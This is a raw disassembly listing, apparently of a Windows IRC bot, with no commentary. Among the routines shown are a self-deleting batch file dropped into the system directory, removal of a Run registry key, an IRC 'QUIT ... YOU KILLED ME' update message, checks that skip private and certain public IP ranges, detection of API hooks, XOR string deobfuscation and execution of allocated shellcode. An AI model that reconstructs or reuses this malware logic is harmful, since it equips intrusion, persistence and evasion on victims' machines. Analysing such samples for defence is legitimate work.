		call	sub_402EAE
		mov	eax, esi
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_419790:				; CODE XREF: sub_419641+154j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419790
		sub	eax, ecx
		push	edi
		mov	[eax+esi], dl
		call	sub_402F5B
		pop	ecx

loc_4197A3:				; CODE XREF: sub_419641+DAj
		mov	ecx, [ebp+74h+var_4]
		pop	edi
		xor	ecx, ebp
		mov	eax, esi
		pop	ebx
		call	sub_402AD0
		add	ebp, 74h
		leave
		retn
sub_419641	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197B6	proc near		; CODE XREF: sub_401DA7+50p
					; sub_40207A+FEp ...

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		xor	eax, eax
		mov	edi, esi
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_1C], 10h
		call	ds:dword_41D238	; getsockname
		movzx	eax, [ebp+var_11]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_13]
		push	eax
		movzx	eax, [ebp+var_14]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	0Fh
		push	esi
		call	sub_402EAE
		mov	eax, esi
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_419819:				; CODE XREF: sub_4197B6+68j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419819
		sub	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+esi], dl
		xor	ecx, ebp
		mov	eax, esi
		pop	edi
		call	sub_402AD0
		leave
		retn
sub_4197B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419834	proc near		; CODE XREF: sub_4022D6+10Cp
					; sub_417E66+A5p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	cl, [eax]
		test	cl, cl
		push	edi
		jz	short loc_41989D

loc_419842:				; CODE XREF: sub_419834+24j
		mov	dl, [esi]
		cmp	dl, 2Ah
		jz	short loc_41985A
		cmp	dl, cl
		jz	short loc_419852
		cmp	dl, 3Fh
		jnz	short loc_419878

loc_419852:				; CODE XREF: sub_419834+17j
		inc	esi
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_419842

loc_41985A:				; CODE XREF: sub_419834+13j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41989D
		mov	edi, [ebp+var_4]

loc_419863:				; CODE XREF: sub_419834+5Fj
		mov	dl, [esi]
		cmp	dl, 2Ah
		jnz	short loc_41987C
		inc	esi
		cmp	byte ptr [esi],	0
		jz	short loc_419897
		mov	[ebp+var_4], esi
		lea	edi, [eax+1]
		jmp	short loc_41988F
; ---------------------------------------------------------------------------

loc_419878:				; CODE XREF: sub_419834+1Cj
		xor	eax, eax
		jmp	short loc_4198A9
; ---------------------------------------------------------------------------

loc_41987C:				; CODE XREF: sub_419834+34j
		cmp	dl, cl
		jz	short loc_41988D
		cmp	dl, 3Fh
		jz	short loc_41988D
		mov	esi, [ebp+var_4]
		mov	eax, edi
		inc	edi
		jmp	short loc_41988F
; ---------------------------------------------------------------------------

loc_41988D:				; CODE XREF: sub_419834+4Aj
					; sub_419834+4Fj
		inc	esi
		inc	eax

loc_41988F:				; CODE XREF: sub_419834+42j
					; sub_419834+57j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_419863
		jmp	short loc_41989D
; ---------------------------------------------------------------------------

loc_419897:				; CODE XREF: sub_419834+3Aj
		xor	eax, eax
		inc	eax
		jmp	short loc_4198A9
; ---------------------------------------------------------------------------

loc_41989C:				; CODE XREF: sub_419834+6Cj
		inc	esi

loc_41989D:				; CODE XREF: sub_419834+Cj
					; sub_419834+2Aj ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_41989C
		xor	eax, eax
		cmp	[esi], al
		setz	al

loc_4198A9:				; CODE XREF: sub_419834+46j
					; sub_419834+66j
		pop	edi
		pop	esi
		leave
		retn
sub_419834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198AD	proc near		; CODE XREF: sub_419C67+14Ap

var_23C		= byte ptr -23Ch
var_23B		= byte ptr -23Bh
var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		push	37h
		lea	eax, [ebp+var_3B]
		push	ebx
		push	eax
		mov	[ebp+var_3C], bl
		call	sub_407F20
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_23B]
		push	ebx
		push	eax
		mov	[ebp+var_23C], bl
		call	sub_407F20
		push	esi
		lea	eax, [ebp+var_13B]
		push	ebx
		push	eax
		mov	[ebp+var_13C], bl
		call	sub_407F20
		add	esp, 24h
		push	100h
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		call	ds:dword_41D0E0	; GetModuleHandleA
		push	eax
		call	ds:dword_41D060	; GetModuleFileNameA
		lea	eax, [ebp+var_13C]
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset a@echoOff1DelSI ; "@echo	off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
		push	eax
		call	sub_403475
		push	104h
		call	sub_402A08
		mov	esi, eax
		push	esi
		call	sub_402E05
		add	esp, 18h
		dec	eax
		push	eax
		push	esi
		call	ds:dword_41D0F0	; GetSystemDirectoryA
		call	sub_403723
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_403723
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_403723
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_403723
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_403723
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_403723
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+var_3C]
		push	edx
		push	esi
		push	offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat"
		push	eax
		call	sub_403475
		push	esi
		call	sub_402F5B
		lea	eax, [ebp+var_3C]
		push	offset aW	; "w"
		push	eax
		call	sub_4035B4
		mov	esi, eax
		add	esp, 30h
		cmp	esi, ebx
		jz	short loc_4199FB
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aS_6	; "%s"
		push	esi
		call	sub_4035C7
		push	esi
		call	sub_403884
		add	esp, 10h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41D1E0

loc_4199FB:				; CODE XREF: sub_4198AD+122j
		mov	ecx, [ebp+var_4]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_4198AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A09	proc near		; CODE XREF: sub_41BED6+199p
					; sub_41C28D+1E2p

var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	40h
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		mov	[ebp+var_16C], ebx
		call	sub_407F20
		xor	eax, eax
		mov	[ebp+var_124], ebx
		lea	edi, [ebp+var_120]
		stosd
		stosd
		mov	esi, 103h
		push	esi
		stosd
		lea	eax, [ebp+var_113]
		push	ebx
		push	eax
		mov	[ebp+var_114], bl
		call	sub_407F20
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		call	sub_4037F6
		add	esp, 28h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	ebx
		call	ds:off_41D05C
		mov	ecx, [ebp+var_8]
		test	eax, eax
		pop	edi
		setnz	al
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_419A09	endp

; ---------------------------------------------------------------------------
		push	0
		call	sub_403900
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AB7	proc near		; CODE XREF: sub_413DDD+81p
					; sub_413DDD+94p ...
		push	esi
		mov	esi, eax
		xor	eax, eax
		inc	eax
		sub	eax, ebx
		add	esi, eax
		cmp	esi, 1
		jg	short loc_419ACA
		mov	eax, ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419ACA:				; CODE XREF: sub_419AB7+Dj
		push	2
		pop	eax
		cmp	esi, eax
		jle	short loc_419AD7

loc_419AD1:				; CODE XREF: sub_419AB7+1Ej
		add	eax, eax
		cmp	eax, esi
		jl	short loc_419AD1

loc_419AD7:				; CODE XREF: sub_419AB7+18j
		push	edi
		lea	edi, [eax-1]

loc_419ADB:				; CODE XREF: sub_419AB7+2Dj
		call	sub_41954A
		and	eax, edi
		cmp	eax, esi
		jge	short loc_419ADB
		pop	edi
		add	eax, ebx
		pop	esi
		retn
sub_419AB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AEB	proc near		; CODE XREF: sub_4022D6+420p
					; sub_413DDD:loc_41430Dp ...
		and	dword_427FF0, 0
		push	0
		mov	dword_427FF4, 1Fh
		call	sub_403900
		mov	edx, 3FFFFFFFh
		and	eax, edx
		pop	ecx
		mov	dword_427FF8, eax
		mov	dword_427FFC, 1
		mov	eax, offset dword_427FF8
		push	esi

loc_419B20:				; CODE XREF: sub_419AEB+48j
		lea	ecx, [eax+4]
		mov	esi, [ecx]
		add	esi, [eax]
		and	esi, edx
		mov	[eax+8], esi
		mov	eax, ecx
		cmp	eax, offset dword_4280CC
		jl	short loc_419B20
		pop	esi
		retn
sub_419AEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B37	proc near		; CODE XREF: sub_417C7B+E6p
					; sub_41AFA7+38Ep

var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		push	dword_4283FC
		mov	[ebp+var_14], 0
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp+var_14]
		stosb
		call	sub_4197B6
		pop	ecx
		mov	eax, esi
		mov	ecx, offset a192_168__ ; "192.168.*.*"
		call	sub_419834
		test	eax, eax
		jnz	loc_419C57
		mov	eax, esi
		mov	ecx, offset a10___ ; "10.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	loc_419C57
		mov	eax, esi
		mov	ecx, offset a111___ ; "111.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	loc_419C57
		mov	eax, esi
		mov	ecx, offset a15___ ; "15.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	loc_419C57
		mov	eax, esi
		mov	ecx, offset a16___ ; "16.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	loc_419C57
		mov	eax, esi
		mov	ecx, offset a101___ ; "101.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	short loc_419C57
		mov	eax, esi
		mov	ecx, offset a110___ ; "110.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	short loc_419C57
		mov	eax, esi
		mov	ecx, offset a112___ ; "112.*.*.*"
		call	sub_419834
		test	eax, eax
		jnz	short loc_419C57
		mov	eax, esi
		mov	ecx, offset a170_65__ ;	"170.65.*.*"
		call	sub_419834
		test	eax, eax
		jnz	short loc_419C57
		push	10h
		pop	esi

loc_419C0E:				; CODE XREF: sub_419B37+11Aj
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		push	esi
		push	offset a172_D__	; "172.%d.*.*"
		stosd
		lea	eax, [ebp+var_24]
		push	0Fh
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_24]
		add	esp, 10h
		lea	edx, [eax+1]

loc_419C31:				; CODE XREF: sub_419B37+FFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_419C31
		sub	eax, edx
		mov	[ebp+eax+var_24], cl
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		call	sub_419834
		test	eax, eax
		jnz	short loc_419C57
		inc	esi
		cmp	esi, 1Fh
		jbe	short loc_419C0E
		xor	al, al
		jmp	short loc_419C59
; ---------------------------------------------------------------------------

loc_419C57:				; CODE XREF: sub_419B37+3Ej
					; sub_419B37+52j ...
		mov	al, 1

loc_419C59:				; CODE XREF: sub_419B37+11Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
sub_419B37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C67	proc near		; CODE XREF: sub_41BED6+1C5p
					; sub_41C28D+4ADp

var_2A8		= byte ptr -2A8h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_28B		= byte ptr -28Bh
var_1CC		= byte ptr -1CCh
var_1CB		= byte ptr -1CBh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_298], eax
		lea	eax, [ebp+var_CB]
		push	ebx
		push	eax
		mov	[ebp+var_CC], bl
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_28B]
		push	ebx
		push	eax
		mov	[ebp+var_28C], bl
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		lea	edi, [ebp+var_CC]
		call	sub_41BDAA
		pop	ecx
		inc	esi
		push	esi
		mov	eax, edi
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_28C]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	0FFh
		lea	eax, [ebp+var_1CB]
		push	ebx
		push	eax
		mov	[ebp+var_1CC], bl
		call	sub_407F20
		mov	eax, dword_43569C
		mov	eax, [eax]
		mov	[ebp+var_290], eax
		mov	eax, offset dword_435698
		add	esp, 0Ch
		mov	[ebp+var_294], eax
		mov	[ebp+var_2A0], eax

loc_419D20:				; CODE XREF: sub_419C67+102j
		mov	eax, dword_43569C
		lea	edi, [ebp+var_2A0]
		lea	esi, [ebp+var_294]
		mov	[ebp+var_29C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_419D77
		mov	edi, offset aRegistryMonito ; "Registry	Monitor"
		call	sub_40164F
		mov	esi, eax
		add	esi, 5
		push	11h
		pop	ecx
		xor	eax, eax
		repe cmpsb
		lea	esi, [ebp+var_294]
		jz	short loc_419D6B
		lea	edi, [ebp+var_2A8]
		call	sub_40168C
		jmp	short loc_419D20
; ---------------------------------------------------------------------------

loc_419D6B:				; CODE XREF: sub_419C67+F5j
		call	sub_40164F
		mov	eax, [eax]
		call	sub_4147FC

loc_419D77:				; CODE XREF: sub_419C67+D7j
		mov	edi, 100h
		push	edi
		lea	esi, [ebp+var_1CC]
		mov	ebx, offset byte_426B01
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		push	offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_417722
		add	esp, 0Ch
		push	edi
		mov	eax, esi
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		call	sub_4198AD
		push	[ebp+var_298]
		mov	edi, offset dword_4283FC
		push	offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n"
		call	sub_417ABC
		pop	ecx
		pop	ecx
		push	0
		call	ds:off_41D050
		int	3		; Trap to Debugger
		jmp	ds:off_41D08C
sub_419C67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DDC	proc near		; CODE XREF: sub_41C28D:loc_41C2D3p

var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		call	ds:dword_41D0C8	; GetCurrentProcess
		mov	esi, offset dword_4207B0
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	40h
		push	3000h
		movsb
		push	6
		mov	ebx, eax
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_18]
		push	ebx
		mov	[ebp+var_10+3],	eax
		call	ds:dword_41D0BC	; VirtualAllocEx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_419E25

loc_419E21:				; CODE XREF: sub_419DDC+58j
		xor	al, al
		jmp	short loc_419E58
; ---------------------------------------------------------------------------

loc_419E25:				; CODE XREF: sub_419DDC+43j
		push	edi
		push	40h
		push	6
		push	esi
		push	ebx
		call	ds:dword_41D0C0	; VirtualProtectEx
		test	eax, eax
		jnz	short loc_419E21
		mov	eax, [ebp+var_10]
		mov	[esi], eax
		mov	eax, [ebp+var_C]
		mov	[esi+4], eax
		call	esi	; send
		push	8000h
		push	edi
		push	esi
		push	ebx
		call	ds:dword_41D0C4	; VirtualFreeEx
		cmp	[ebp+var_13], 0D0h
		setnbe	al

loc_419E58:				; CODE XREF: sub_419DDC+47j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_419DDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E67	proc near		; CODE XREF: sub_41C28D+24p

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		push	offset aMessageboxa_0 ;	"MessageBoxA"
		push	offset aUser32_dll ; "user32.dll"
		mov	[ebp+var_C], 55h
		mov	[ebp+var_B], 8Bh
		mov	[ebp+var_A], 0ECh
		mov	[ebp+var_9], 81h
		mov	[ebp+var_8], 0ECh
		call	ds:off_41D0E4
		push	eax
		call	ds:off_41D0E8
		push	5
		mov	esi, eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_C]
		repe cmpsb
		mov	ecx, [ebp+var_4]
		setz	al
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
sub_419E67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419EC1	proc near		; CODE XREF: sub_40177B+81p
					; sub_4019F3+81p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	esi
		call	sub_407F20
		mov	eax, ebx
		add	esp, 0Ch
		lea	ecx, [eax+1]

loc_419EDA:				; CODE XREF: sub_419EC1+1Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419EDA
		sub	eax, ecx
		jz	short loc_419F4B
		mov	eax, [ebp+arg_0]
		dec	eax
		mov	[ebp+var_4], eax

loc_419EEC:				; CODE XREF: sub_419EC1+88j
		mov	eax, offset aOltznsalkzkjes ; "olTznSALKZkJESmT"
		lea	edx, [eax+1]

loc_419EF4:				; CODE XREF: sub_419EC1+38j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_419EF4
		sub	eax, edx
		jz	short loc_419F01
		xor	eax, eax

loc_419F01:				; CODE XREF: sub_419EC1+3Cj
		movsx	ecx, byte ptr [edi+ebx]
		movsx	eax, byte ptr aOltznsalkzkjes[eax] ; "olTznSALKZkJESmT"
		xor	ecx, eax
		xor	ecx, 0EDh
		push	ecx
		push	esi
		push	offset dword_4207DC
		push	[ebp+var_4]
		push	esi
		call	sub_402EAE
		mov	eax, esi
		add	esp, 14h
		lea	ecx, [eax+1]

loc_419F2C:				; CODE XREF: sub_419EC1+70j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419F2C
		sub	eax, ecx
		mov	[eax+esi], dl
		mov	eax, ebx
		inc	edi
		lea	ecx, [eax+1]

loc_419F3E:				; CODE XREF: sub_419EC1+82j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_419F3E
		sub	eax, ecx
		cmp	edi, eax
		jb	short loc_419EEC

loc_419F4B:				; CODE XREF: sub_419EC1+22j
		mov	eax, esi
		pop	edi
		leave
		retn
sub_419EC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F50	proc near		; CODE XREF: sub_41A40D+28p

var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	2Ch
		push	offset dword_421CE0
		call	__SEH_prolog4
		mov	edi, ds:dword_41D104
		call	edi	; GetTickCount
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		mov	esi, ds:off_41D028
		call	esi ; sub_44BD00
		test	eax, eax
		jnz	short loc_419F8B

loc_419F80:				; CODE XREF: sub_419F50+61j
					; sub_419F50+8Aj ...
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		jmp	loc_41A01F
; ---------------------------------------------------------------------------

loc_419F8B:				; CODE XREF: sub_419F50+2Ej
		cmp	[ebp+var_38], 1
		jz	loc_41A01D
		jmp	short loc_419FC5
; ---------------------------------------------------------------------------

loc_419F97:				; CODE XREF: sub_419F50+79j
		push	[ebp+var_24]
		call	ds:off_41D0F8
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_44BD00
		test	eax, eax
		jz	short loc_419F80
		cmp	[ebp+var_38], 1
		jz	short loc_41A01D
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_419FDE

loc_419FC5:				; CODE XREF: sub_419F50+45j
		cmp	[ebp+var_38], 3
		jz	short loc_419F97
		lea	eax, [ebp+var_3C]
		push	eax
		push	1
		push	ebx
		call	ds:off_41D01C
		test	eax, eax
		jz	short loc_419F80
		jmp	short loc_41A017
; ---------------------------------------------------------------------------

loc_419FDE:				; CODE XREF: sub_419F50+73j
					; sub_419F50+C5j
		mov	eax, 5B4h
		jmp	short loc_41A01F
; ---------------------------------------------------------------------------

loc_419FE5:				; CODE XREF: sub_419F50+CBj
		push	[ebp+var_24]
		call	ds:off_41D0F8
		lea	eax, [ebp+var_1C]
		push	eax
		push	24h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	ebx
		call	esi ; sub_44BD00
		test	eax, eax
		jz	loc_419F80
		cmp	[ebp+var_38], 1
		jz	short loc_41A01D
		call	edi	; GetTickCount
		sub	eax, [ebp+var_20]
		cmp	eax, 12Ch
		ja	short loc_419FDE

loc_41A017:				; CODE XREF: sub_419F50+8Cj
		cmp	[ebp+var_38], 1
		jnz	short loc_419FE5

loc_41A01D:				; CODE XREF: sub_419F50+3Fj
					; sub_419F50+67j ...
		xor	eax, eax

loc_41A01F:				; CODE XREF: sub_419F50+36j
					; sub_419F50+93j
		call	__SEH_epilog4
		retn
sub_419F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A025	proc near		; CODE XREF: sub_41A690+2C7p
					; sub_41A690+36Ep

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		xor	edi, edi
		push	edi
		mov	[ebp+var_8], esi
		call	ds:off_41D034
		test	eax, eax
		jnz	short loc_41A04C

loc_41A048:				; CODE XREF: sub_41A025+5Fj
		xor	al, al
		jmp	short loc_41A0BD
; ---------------------------------------------------------------------------

loc_41A04C:				; CODE XREF: sub_41A025+21j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	esi
		mov	esi, ds:off_41D014
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		push	[ebp+arg_0]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_24], edi
		call	esi ; sub_457779
		mov	edi, ds:dword_41D0EC
		call	edi	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		mov	[ebp+var_20], ebx
		jz	short loc_41A0A2
		or	[ebp+var_14], 2
		jmp	short loc_41A0A6
; ---------------------------------------------------------------------------

loc_41A0A2:				; CODE XREF: sub_41A025+75j
		and	[ebp+var_14], 0FFFFFFFDh

loc_41A0A6:				; CODE XREF: sub_41A025+7Bj
		push	eax
		push	eax
		push	[ebp+var_8]
		lea	ecx, [ebp+var_20]
		push	ecx
		push	eax
		push	[ebp+arg_0]
		call	esi ; sub_457779
		call	edi	; RtlGetLastWin32Error
		neg	eax
		sbb	al, al
		inc	al

loc_41A0BD:				; CODE XREF: sub_41A025+25j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0C2	proc near		; CODE XREF: sub_41A690+400p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		xor	ebx, ebx
		push	[ebp+arg_C]
		mov	[ebp+var_8], ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427FB0
		test	eax, eax
		jnz	short loc_41A0F9

loc_41A0E9:				; CODE XREF: sub_41A0C2+70j
					; sub_41A0C2+74j
		push	[ebp+arg_C]
		call	sub_402F5B
		pop	ecx
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A0F9:				; CODE XREF: sub_41A0C2+25j
		xor	eax, eax

loc_41A0FB:				; CODE XREF: sub_41A0C2+6Cj
		and	[ebp+var_4], 0
		mov	edx, offset dword_426FC0

loc_41A104:				; CODE XREF: sub_41A0C2+66j
		mov	esi, [ebp+arg_C]
		mov	ecx, [edx+80h]
		add	esi, eax
		mov	edi, edx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_41A134
		mov	ecx, 84h
		add	[ebp+var_4], ecx
		add	edx, ecx
		cmp	[ebp+var_4], 318h
		jb	short loc_41A104
		inc	eax
		cmp	eax, [ebp+var_8]
		jbe	short loc_41A0FB
		xor	bl, bl
		jmp	short loc_41A0E9
; ---------------------------------------------------------------------------

loc_41A134:				; CODE XREF: sub_41A0C2+53j
		mov	bl, 1
		jmp	short loc_41A0E9
sub_41A0C2	endp


